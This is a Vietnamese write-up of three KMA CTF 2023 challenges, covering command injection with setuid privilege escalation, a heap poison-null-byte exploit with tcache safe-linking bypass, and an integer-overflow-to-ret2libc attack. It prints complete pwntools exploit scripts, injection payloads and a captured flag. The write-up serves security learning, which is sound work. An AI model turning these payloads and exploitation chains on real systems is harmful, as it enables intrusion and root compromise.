# (writeup) KMA CTF 2023 ## Welcome to KCSC - là một challenge pwn_web ![](https://hackmd.io/_uploads/rkj6w4ll6.png) - file cho bạn nào muốn test local: ``run.py`` ```python import json from subprocess import check_output, STDOUT from flask import Flask, render_template, request app = Flask(__name__) @app.route('/') def index(): cards = json.loads(open('data/former.txt', 'r').read()) return render_template('index.html', cards=cards, card_len = len(cards)) @app.route('/contact', methods = ['GET', 'POST']) def contact(): if request.method == 'GET': return render_template('contact.html') elif request.method == 'POST': try: output = check_output(['./bin/advice', request.form['name'], request.form['advice']], stderr=STDOUT) except: output = 'Something wrong!' return render_template('contact.html', output=output.decode()) if __name__=='__main__': app.run(host='0.0.0.0') ``` - check ida ![](https://hackmd.io/_uploads/r1QQY4ge6.png) - thông qua ida, sẽ lấy 2 arg 1 và 2 sau đó đến hàm **system()** thực hiện nội dung biến **s** ===> cmd injection - biến **s** được copy bằng hàm **sprintf()** với nội dung ``echo \"%s\\n%s\ > data/advice"`` - ta bypass bằng: - arg1 : 'a" ; ls ;' - arg2 : ' " ' ![](https://hackmd.io/_uploads/Hy85pNexp.png) > echo "a" ; ls ; "n" - bài này sẽ giống dạng leo thang đặc quyền, ta cần từ quyền user lên root - ta sẽ check các tệp tin Linux với quyền thực thi setuid (set user ID) > với quyền setuid cho phép người dùng chạy tập tin đó với quyền của chủ sở hữu (root) của tập tin, thay vì quyền của người dùng có chạy tập tin đó. - ta sẽ tìm trong thư mục '/' : ``find /`` - kiểm tra quyền :``-perm -u=s`` - tìm kiếm tệp tin thường (regular files): ``-type f`` - ẩn thông báo lỗi và chuyển sang chỉ tìm kiếm: ``2>/dev/null`` ![](https://hackmd.io/_uploads/rJu7JBel6.png) > file '/usr/bin/as' đáng ngờ - leo quyền với trang https://gtfobins.github.io/gtfobins/as/ ![](https://hackmd.io/_uploads/SJdD1Sexa.png) - arg1: ``a"; LFILE=/root/root.txt ; as @$LFILE`` - arg2: ``"`` ![](https://hackmd.io/_uploads/B1hOJBega.png) - script: ```python #!/usr/bin/python3 from pwn import * import requests # context.binary = exe = ELF('./advice',checksec=False) if args.REMOTE: url = 'http://103.162.14.116:5001/contact' else: url = 'http://127.0.0.1:5000/contact' payload = { 'name': 'a"; LFILE=/root/root.txt ; as @$LFILE', 'advice': '"' } response = requests.post(url, data=payload) out = response.text print(out) log.info(b'#'*90) #KMACTF{w3b_pwn_1s_sup3rdup3r_34sy_cae767b694e19fba60412585575bacff} ``` >KMACTF{w3b_pwn_1s_sup3rdup3r_34sy_cae767b694e19fba60412585575bacff} --- ## Not a Note ![](https://hackmd.io/_uploads/SknkuNxe6.png) - basic file check ![](https://hackmd.io/_uploads/HyWZPLglT.png) - check ida ![](https://hackmd.io/_uploads/B1pmPLle6.png) > **main()** ![](https://hackmd.io/_uploads/rkiKdUge6.png) > **menu()** ![](https://hackmd.io/_uploads/HyKiuUxgp.png) > **create_note()** > malloc size1 cho title > malloc size2 cho content > cuối title (prev_size) sẽ set địa chỉ của content ![](https://hackmd.io/_uploads/r1GpOUexp.png) >**edit_note()** > chọn lựa 2 option edit title hoặc content ![](https://hackmd.io/_uploads/rJeqCOLeeT.png) > **edit_title()** > xoá title rồi ghi đè cái mới ![](https://hackmd.io/_uploads/HknJFIlxT.png) > **edit_content()** > xoá content rồi **free** sau đó **malloc** ghi cái mới ![](https://hackmd.io/_uploads/SJ7ZKLexa.png) > **view_note()** > show thông tin title và content ![](https://hackmd.io/_uploads/rkNGt8eea.png) > **delete_note()** > xoá title lẫn content rồi mới **free** ![](https://hackmd.io/_uploads/HkdQKLel6.png) > **read_function()** > đây là hàm ẩn nhằm lấy shell ### analyse - 1 note được tạo ra bằng 2 chunks - title - content - ngoài ra không có lỗi DBF hay UAF do nó xoá con trỏ cả trước khi **free** > không thể trigger bình thường > NHƯNG liệu ta có thể thay đổi điều đó? - trước mắt ta sẽ bật tham số NOASLR - trong hàm **edit_title**, bug nằm ở hàm **strcpy** ![](https://hackmd.io/_uploads/rJeqCOLeeT.png) ![](https://hackmd.io/_uploads/BymspwMg6.png) >**memset()** cho biến **s** có size 1032 thành NULL > **strcpy** 1 phần ---> cuối payload có NULL > ---> Poison NULL byte ### leak heap - đầu tiên ta hoàn toàn có thể leak được heap base nhờ vào tạo 1 note (idx0) có size A, edit content size B (với B > A) và ghi đè full byte để nối chuỗi với ptr heap ```python add(0,0x50,b'A'*0x50,0x50,b'a'*0x50) #a2a0 #a300 content_edit(0,0x100,b'b'*160) #free a300 #a360 show(0) ``` > do ptr của content hiện tại byte cuối là 0x00 ### leak libc - nếu ptr content thay vì là địa chỉ heap, ta sẽ chỉnh thành địa chỉ của libc - đầu tiên ta sẽ fill up tcache để lần **add_note()** tiếp theo và **delete_note()** nó sẽ chui vào ubin ```python size = 0x120 add(1,size,b"aaaa",size,b"bbbb") #a470 #a5a0 add(2,size,b"cccc",size,b"ddđ") #a6d0 #a800 add(3,size,b"hlaan",size,b"hlaan") #a930 #aa60 add(4,size,b"a",size,b"a") #ab90 #acc0 delete(1) delete(2) delete(3) delete(4) ``` > **free** content trước mới **free** title > tức chunk ab80 sẽ nằm trong ubin (ab90 trừ metadata) - ta phải tận dụng BUG poison NULL byte tấn công vào chunk victim có đuôi 00 - thấy có freed chunk a300 từ lúc ta leak heap - **add_note()** với size 0x50 (idx1) sẽ reused lại chunk a300 và ab90 - sau đó **edit_title()** cho chunk idx0 và poison NULL byte ```gef a290: -------- 0x61 a290: -------- 0x61 a2a0: -------- -------- a2a0: aaaaaaaa aaaaaaaa ... ===> ... a2f0: ----a360 0x61 a2f0: ----a300 0x61 a300: -------- -------- a300: -------- -------- ``` - lúc này ta tiếp tục **edit_content()** cho chunk 1 (**free** ab90 và **malloc** 1 size khác) > mục đích tăng count trong tcache ![](https://hackmd.io/_uploads/B1XmxTXep.png) > **malloc** size 0x100 - giả sử ta **delete_note()** chunk 0 thì sao ? >**free** a300 trước rồi **free** a2a0 >nhưng chunk a300 lại là title của idx1 (nhưng ta lại đâu có xoá idx1 ???) >vậy ta có thể UAF ở đây rồi - mục tiêu khi ta UAF là tạo fake chunk - ta có thể sửa title (idx1) từ chunk a300 và nhắm đến chunk victim có thể tấn công là a350 ![](https://hackmd.io/_uploads/SyP68T7lT.png) - ta cần tạo 1 dslk các bin trong tcache ![](https://hackmd.io/_uploads/S11HLTmla.png) > hiện tại lúc này a300 đang trỏ vào payload > ta cần trỏ vào fake chunk tiếp theo - nhưng từ libc 2.31 trở lên có cơ chế bảo vệ tcache, [xem thêm...](https://hackmd.io/@trhoanglan04/SkrdeRm9n#tcache-protection-mechanism) ![](https://hackmd.io/_uploads/B14X10mlp.png) >ở chunk aa60 có dữ liệu bảo vệ >trong tcache bin, chunk tiếp theo aa60 là a6d0 >thì dữ liệu được tính là (aa60 >> 12)^a6d0 - thế để ``fw_pointer`` của a300 là a350 thì payload như sau ```python #ptr >> 12 ^ addr need = heap_base+0x350 ptr = heap_base+0x300 payload = (ptr >> 12) ^ need ``` - nhưng điều còn vướng bận là sử dụng hàm **edit_title()** sẽ còn **strcpy** (NULL byte ở cuối) - do dữ liệu bảo vệ có 6 byte > p64() sẽ dư 2 byte '\0' sẽ bị lỗi đọc read_str > gửi đúng 6 byte thì byte 7 NULL, byte 8 còn dính payload cũ là 'a' - vậy ta sẽ edit 2 lần, lần 1 7 byte (byte 8 là NULL) - lần 2 là 6 byte (byte 7 là NULL) ```python title_edit(1,p64(payload)[0:6]+b'a') title_edit(1,p64(payload)[0:6]) ``` - vì xor trong NOASLR sẽ bị lỗi nên lần này bỏ NOASLR luôn - lúc này trong bin có đến 3 chunk ![](https://hackmd.io/_uploads/Hyl9MR7e6.png) - vậy ta cần **add_note()** size 0x50 (idx2) để moi 2 cái ra - lần **add_note()** tiếp theo sẽ gán fake_chunk ở a350 - nhưng sẽ là chunk nào? ```python #title là 0x50, content sẽ chọn size khác (0x70 chẳng hạn) #ubin là (0x..be0 + 0x10) - (0x70 + 0x10) #bf0 -e-d-c-b-a-9-8-7 ---> ta cần là 0x..c70 add(2,0x50,b'cccc',0x50,b'dddd') payload = p64(heap_base+0xc60+0x10) add(3,0x50,payload,0x70,b'aabb') ``` - khi ta chọn **view_note()**, sẽ lấy idx1 vì node của nó content hiện tại là fake_chunk(ubin) ![](https://hackmd.io/_uploads/SJ3Se1Nl6.png) ![](https://hackmd.io/_uploads/HJBfZkVxp.png) ![](https://hackmd.io/_uploads/HyeDb1Eea.png) ### leak stack -> exe -> canary #### leaking stack - về cách leak stack, ta sẽ sử dụng ``__environ`` có trong libc - và dùng **edit_title()** cho idx3 ![](https://hackmd.io/_uploads/SJ3Se1Nl6.png) ```python environ = libc.sym['environ'] title_edit(3,p64(environ)[0:6]) #350 show(1) p.recvuntil(b'Content: ') stack_leak = u64(p.recv(6)+b'\0\0') info("stack leak: " + hex(stack_leak)) ``` ![](https://hackmd.io/_uploads/HyVVGy4lT.png) ![](https://hackmd.io/_uploads/rkelLMyVeT.png) #### leaking exe - có được stack, ta trỏ content về stack, stack trỏ đến exe ![](https://hackmd.io/_uploads/SJxcfkNxa.png) ```python leak_main = stack_leak-0x110 title_edit(3,p64(leak_main)[0:6]) #350 show(1) p.recvuntil(b'Content: ') exe_leak = u64(p.recv(6)+b'\0\0') exe.address = exe_leak - exe.sym['main'] info("exe leak: " + hex(exe_leak)) info("exe base: " + hex(exe.address)) ``` ![](https://hackmd.io/_uploads/BJiiMJ4lp.png) #### leaking canary - tương tự như leak exe, nhưng vì do canary luôn có byte cuối là "\x00" nên địa chỉ trỏ về dịch lên 1 byte ![](https://hackmd.io/_uploads/H1QBQyEg6.png) ```python leak_canary = stack_leak-0x12f title_edit(3,p64(leak_canary)[0:6]) #350 show(1) p.recvuntil(b'Content: ') canary = u64(b'\0' + p.recv(7)) info("canary: " + hex(canary)) ``` ![](https://hackmd.io/_uploads/SyLs7yEep.png) ### ret2win - đề bài có sẵn cho ta hàm ẩn để lấy shell - ngại gì ta không dùng =)))) - phân tích xíu ![](https://hackmd.io/_uploads/rJeqCOLeeT.png) > lấy size chunk title làm lượng size có thể read_str - vậy nếu ta chỉnh size của a350 (idx3) có size cực lớn thì sao? ===> Buffer Overflow - **edit_title(1)** để resize a350 (idx3) ```python payload = b'a'*0x48 + p64(0xffff) title_edit(1,payload) ``` - ta sẽ return $rip khi thoát khỏi hàm **edit_title()** ![](https://hackmd.io/_uploads/SJOhwJExT.png) > payload = b'a'* 0x408 + canary + b'a'*8 + win ### get flag ![](https://hackmd.io/_uploads/HJ3r_1Ex6.png) - script: ```python #!/usr/bin/python3 from pwn import * exe = ELF('./notanote_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) context.binary = exe def GDB():#NOASLR if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+54 b*create_note+183 b*create_note+315 b*create_note+360 b*create_note+684 b*create_note+709 b*delete_note+74 b*delete_note+198 b*delete_note+236 b*edit_title+156 b*edit_content+101 b*edit_content+293 b*edit_content+455 b*edit_content+480 b*main+309 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('103.162.14.116',1001) else: p = process(exe.path) def add(idx,size1,title,size2,content): sla(b'> ',b'1') sla(b'Index: ',str(idx)) #title sla(b"size: ",str(size1)) #max 0x400 + 0x8 = 0x410 sla(b'Title: ',title) #content sla(b"size: ",str(size2)) #max 0x400 + 0x8 = 0x410 sla(b'Content: ',content) def title_edit(idx,data): sla(b'> ',b'2') sla(b'Index: ',str(idx)) sla(b'> ',b'1') #1. title sla(b'title: ',data) sla(b'> ',b'3') #back def content_edit(idx,size,content): sla(b'> ',b'2') sla(b'Index: ',str(idx)) sla(b'> ',b'2') #2.content sla(b'size: ',str(size)) #max 0x400 sla(b'Content: ',content) sla(b'> ',b'3') #back def show(idx): sla(b'> ',b'3') sla(b'Index: ',str(idx)) def delete(idx): sla(b'> ',b'4') sla(b'Index: ',str(idx)) add(0,0x50,b'A'*0x50,0x50,b'a'*0x50) #a2a0 #a300 content_edit(0,0x100,b'b'*160) #free a300 #a360 show(0) p.recvuntil(b'A'*0x50) heap_leak = u64(p.recv(6)+b'\0\0') heap_base = heap_leak - 0x360 info("heap leak: " + hex(heap_leak)) info("heap base: " + hex(heap_base)) size = 0x120 add(1,size,b"aaaa",size,b"bbbb") #a470 #a5a0 add(2,size,b"cccc",size,b"dddd") #a6d0 #a800 add(3,size,b"hlaan",size,b"hlaan") #a930 #aa60 add(4,size,b"a",size,b"a") #ab90 #acc0 delete(1) delete(2) delete(3) delete(4) add(1,0x50,b'aaaa',0x50,b'bbbb') #a300 #ab90 title_edit(0,b'a'*0x50) #a2a0 #poison NULL content_edit(1,0x100,b'AAAA') #adf0 delete(0) payload = b'A'*0x48 + p64(0x61) title_edit(1,payload) #a300 GDB() #ptr >> 12 ^ addr need = heap_base+0x350 ptr = heap_base+0x300 payload = (ptr >> 12) ^ need title_edit(1,p64(payload)[0:6]+b'a') title_edit(1,p64(payload)[0:6]) add(2,0x50,b'cccc',0x50,b'dddd') payload = p64(heap_base+0xc60+0x10) add(3,0x50,payload,0x70,b'aabb') show(1) p.recvuntil(b'Content: ') libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - 0x1f6ce0 info('libc leak: ' + hex(libc_leak)) info('libc base: ' + hex(libc.address)) environ = libc.sym['environ'] title_edit(3,p64(environ)[0:6]) #350 show(1) p.recvuntil(b'Content: ') stack_leak = u64(p.recv(6)+b'\0\0') info("stack leak: " + hex(stack_leak)) leak_main = stack_leak-0x110 title_edit(3,p64(leak_main)[0:6]) #350 show(1) p.recvuntil(b'Content: ') exe_leak = u64(p.recv(6)+b'\0\0') exe.address = exe_leak - exe.sym['main'] info("exe leak: " + hex(exe_leak)) info("exe base: " + hex(exe.address)) system = exe.sym['read_function'] info("get shell: " + hex(system)) GDB() leak_canary = stack_leak-0x12f title_edit(3,p64(leak_canary)[0:6]) #350 show(1) p.recvuntil(b'Content: ') canary = u64(b'\0' + p.recv(7)) info("canary: " + hex(canary)) payload = b'a'*0x48 + p64(0xffff) title_edit(1,payload) payload = b'b'*0x408 + p64(canary) + b'a'*8 + p64(system+5) sla(b'> ',b'2') sla(b'Index: ',str(3)) sla(b'> ',b'1') sla(b'title: ',payload) p.interactive() ``` > --- ## Password Manager ![](https://hackmd.io/_uploads/Sylr-Dzla.png) - basic file check ![](https://hackmd.io/_uploads/HyG2nk4ga.png) - check ida ![](https://hackmd.io/_uploads/HJDThJVgp.png) >**main()** ![](https://hackmd.io/_uploads/SyGyexVep.png) >**menu()** >nếu đã **encrypted** thì in "Decrypt", ngược lại in "Encrypt" ![](https://hackmd.io/_uploads/SJ0M6y4ep.png) >**add_cred()** >tạo tối đa 4 note >size tối đa là 256 (0x100) >**key** = &**note** - 0x20 >**note_size** = &**note** - 0x10 >nếu đã **encrypted** thì tiếp tục encrypt ![](https://hackmd.io/_uploads/B1zLxg4l6.png) >**edit_cred()** >in data cũ và nhập data mới (vào stack) tối đa 0x100 >đồng thời lựa chọn "y/n" để đưa từ stack vào &**note** >nếu đã **encrypted** thì decrypt ![](https://hackmd.io/_uploads/B11ilx4eT.png) >**delete_cred()** >nếu đã **encrypted** thì decrypt và in ra data >không thì encrypt nó >rồi "y/n" xác nhận xoá hay không ![](https://hackmd.io/_uploads/ryHAelElT.png) >**lock_n_lock()** >là bước mã hoá data ### analyse - mỗi idx &**note** lưu trữ data cách nhau 256 byte - ta thấy ở biến **note_size** có BUG: ![](https://hackmd.io/_uploads/HyqDZgVxp.png) >khai báo là mảng kích cỡ 4 byte ![](https://hackmd.io/_uploads/rJVSVlExp.png) >nhưng scanf lại có format là %lu ===> Interger Overflow - chức năng "lưu note" nó sẽ lưu từ stack vào &**note** ![](https://hackmd.io/_uploads/SyGAvxNla.png) ![](https://hackmd.io/_uploads/By2pdg4g6.png) >**memcpy** stack **s** vào &**note** với size là lúc khai báo >==> khai báo size lớn nhưng payload ngắn >===> leak được exe, canary... - có đoạn check **encrypted**, thực hiện encrypt data sẽ xor với key ![](https://hackmd.io/_uploads/rynC9xVgp.png) ![](https://hackmd.io/_uploads/Hy1PqgNx6.png) - cũng trong hàm **lock_n_lock()**, phần **else** lại không có **check_canary()** -> tận dụng lỗi IOF để trigger BOF ---> ret2libc ![](https://hackmd.io/_uploads/HJhjilElp.png) ### leak canary - đầu tiên ta tạo full cred giả để fill đầy **note_size** ![](https://hackmd.io/_uploads/Skvqi-Vl6.png) >tạo 4 size 0x100 - sau đó xoá idx0 rồi tạo lại ghi đè fake size cho idx1 (0x300) ```python delete(0, "y") create(0, 0x0000030000000100, b"aabb") ``` - chọn **edit_cred()** cho idx1 để **memcpy** từ stack lên &**note** (copy tận 0x300 bytes) - tiếp theo **edit_cred()** cho idx2 và ghi vừa đủ - có **memset** cho **s** thành NULL, **memcpy** từ **s** trên stack lượng size là size mình khai báo, **edit_cred()** chỉ ghi tối đa 0x100 nên có lẽ lúc tạo note ta cần căn chỉnh lại size ![](https://hackmd.io/_uploads/Bk7cfMEx6.png) > thấy dữ liệu khá giống canary nhưng offset tận 0x118 ![](https://hackmd.io/_uploads/r1WPoG4la.png) >idx2 **memcpy** từ 3280 <note+512> >ta thấy 1 địa chỉ ở 3298 khá giống canary >ta cần ow 0x18+1 byte để nối chuỗi canary - vậy ta sửa lại khi **add_cred()** cho idx2 ta chỉnh size thành 0x19 ![](https://hackmd.io/_uploads/SkBwKr4gp.png) ### leak libc - tương tự như leak canary - ow lượng vừa đủ để nối chuỗi ![](https://hackmd.io/_uploads/r1p6CSNga.png) - ta **delete_cred()** idx2 rồi tạo cái mới, **edit_cred()** nối chuỗi ![](https://hackmd.io/_uploads/SkOfkUVgT.png) > offset 0x88 -> **add_cred()** size 0x88 và **edit_cred()** padding 0x88 ![](https://hackmd.io/_uploads/ryU3ZLEe6.png) ### leak key (just 4 fun) - phân tích 1 xíu: ![](https://hackmd.io/_uploads/Hy5GS84ea.png) - **key** là random mỗi khi run chương trình (8 bytes) - cách thức xor là lấy lần lượt mỗi byte trong **key** xor với mỗi byte trong &**note**(idx) lưu trong biến **s** trên stack - cuối cùng copy lại vào &**note**(idx) - vòng lặp đi đến hết size của idx **note** đó - NẾU dữ liệu là NULL và size nhỏ lại thì sao? >``key ^ 0 = key`` - lúc này biến **encrypted** là bật (=1) - nếu ta in data lần nữa sẽ khiến decrypt **key** của mình ![](https://hackmd.io/_uploads/ry6kv8Elp.png) >``key ^ key = 0`` - ta sẽ tricky 1 chút > lúc này xoắn não nek =))))))) > đọc kỹ nhaaa - **delete_cred**(0) và **add_cred(0)** size là 0x10 => 0x10 : **NULL** **NULL** - ta encrypt nó => 0x10 : **key** **key** ![](https://hackmd.io/_uploads/H1vru8VxT.png) - tiếp tục **delete_cred**(0) > qua hàm **delete_cred()** có thêm 1 lần decrypt > ![](https://hackmd.io/_uploads/Sku_dLNe6.png) > **NULL** **NULL** - rồi **add_cred(0)** size là 0x8 => **NULL** **NULL** > qua hàm **add_cred()** tiếp tục encrypt >![](https://hackmd.io/_uploads/H1vru8VxT.png) > **key** **key** - rồi tiếp tục **edit_cred(1)** là 0x8 => 0x10 : 'aaaaaaaa' **key** > lúc này qua hàm **edit_cred** tiếp tục decrypt > nhưng ở idx 1 hiện tại là **key** **key** > decrypt xong thành **NULL** **NULL** > rồi mới đưa payload vào > 'aaaaaaaa' **key** > hàm **edit_cred()** đặc biệt 1 xíu là nếu **encrypted** = 1 sẽ decrypt->payload->encrypt > tiếp tục encrypt > 'abcxyz' **NULL** (abcxyz là do 'a'*8 xor với **key**) - rồi **edit_cred(1)** tiếp theo (mục đích để leak) > decrypt => 0x10 : 'aaaaaaaa' **key** ('a'*8 là do 'abcxyz' xor với **key**) >![](https://hackmd.io/_uploads/H1ieTI4ep.png) ![](https://hackmd.io/_uploads/rJvEbv4gT.png) >nhận dư byte '\n' (do key ở lần DEBUG này có 7 bytes) ### ret2libc - vì ta hoàn toàn có thể fake size 1 cred nên dựa vào return của hàm **lock_n_lock()** mà ret2libc - ta phải set size mới sao cho dư cả lần decrypt hay encrypt phía sau - ta nhắm vào idx2, nên **delete_cred(0)** và **delete_cred(1)** sau đó **add_cred(0)** resize lại - khi đó nó sẽ decrypt hay encrypt gì đó 1 nùi byte encrypt từ idx1 và tiếp tục với size mình ghi lố > đừng lo nó mã hoá payload của mình vì data mã hoá đó vào &**note** > còn payload của mình vẫn trên stack - để nhảy vào bước **else** của hàm **if** ta phải **edit_cred()** 1 cred không tồn tại ![](https://hackmd.io/_uploads/B13LaDVxT.png) - tính toán: ``` sau 1 loạt stack chứa key của idx1 là chuỗi payload vì có canary nên start của buf sẽ kết thúc ở leave_ret tức là payload cho idx2 bắt đầu ở trước canary p64(0) canary ->$rbp : p64(0) ret2libc ``` ### get flag ![](https://hackmd.io/_uploads/HyjZr_Vgp.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./passwordmanager_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) def GDB(): #NOASLR if not args.REMOTE: gdb.attach(p, gdbscript=''' b*add_cred+307 b*add_cred+379 b*lock_n_lock+300 b*lock_n_lock+618 b*edit_cred+221 b*edit_cred+221 b*edit_cred+422 b*edit_cred+422 b*delete_cred+199 b*delete_cred+307 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('') else: p = process(exe.path) def add(idx,size,data): sla(b'> ',b'1') sla(b'Index: ',str(idx)) sla(b"Size: ",str(size)) sa(b'Data: ',data) def edit(idx,data): sla(b'> ',b'2') sla(b'Index: ',str(idx)) sa(b'data: ',data) sla(b'[y/n]: ',b'y') def delete(idx): sla(b'> ',b'3') sla(b'Index: ',str(idx)) sla(b'[y/n]: ',b'y') def encrypt(): sla(b'> ',b'4') add(0,0x100,b'aaaa') add(1,0x100,b'bbbb') add(2,0x19,b'cccc') add(3,0x100,b'dddd') delete(0) add(0,0x0000030000000100,b'aabb') edit(1,b'hlaan') edit(2,b'a'*0x19) sla(b'> ',b'2') sla(b'Index: ',str(2)) p.recvuntil(b'a'*0x19) canary = u64(b'\0' + p.recv(7)) info("canary leak: " + hex(canary)) sa(b'data: ',b'a') #doesn't matter sla(b'[y/n]: ',b'n') #doesn't matter delete(2) add(2,0x88,b'abcd') edit(2,b'a'*0x88) sla(b'> ',b'2') sla(b'Index: ',str(2)) p.recvuntil(b'a'*0x88) libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - 0x29d90 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) sa(b'data: ',b'a') #doesn't matter sla(b'[y/n]: ',b'n') #doesn't matter delete(0) add(0, 0x0000001000000100, b'\0') encrypt() delete(0) add(0, 0x0000000800000100, b'\0') edit(1,b'a'*8) sla(b'> ',b'2') sla(b'Index: ',str(1)) p.recvuntil(b'a'*8) key = u64(p.recv(8)) info("key: " + hex(key)) sa(b'data: ',b'a') #doesn't matter sla(b'[y/n]: ',b'n') #doesn't matter # GDB() delete(0) delete(1) pop_rdi = libc.address + 0x000000000002a3e5 ret = libc.address + 0x0000000000029cd6 payload = flat( 0, canary, 0, pop_rdi, next(libc.search(b"/bin/sh\0")), ret, libc.sym['system'], ) edit(2, payload) add(0, 0x0000014000000100, b'\0') sla(b'> ',b'2') sla(b'Index: ',str(1)) #not exist p.interactive() ``` > ---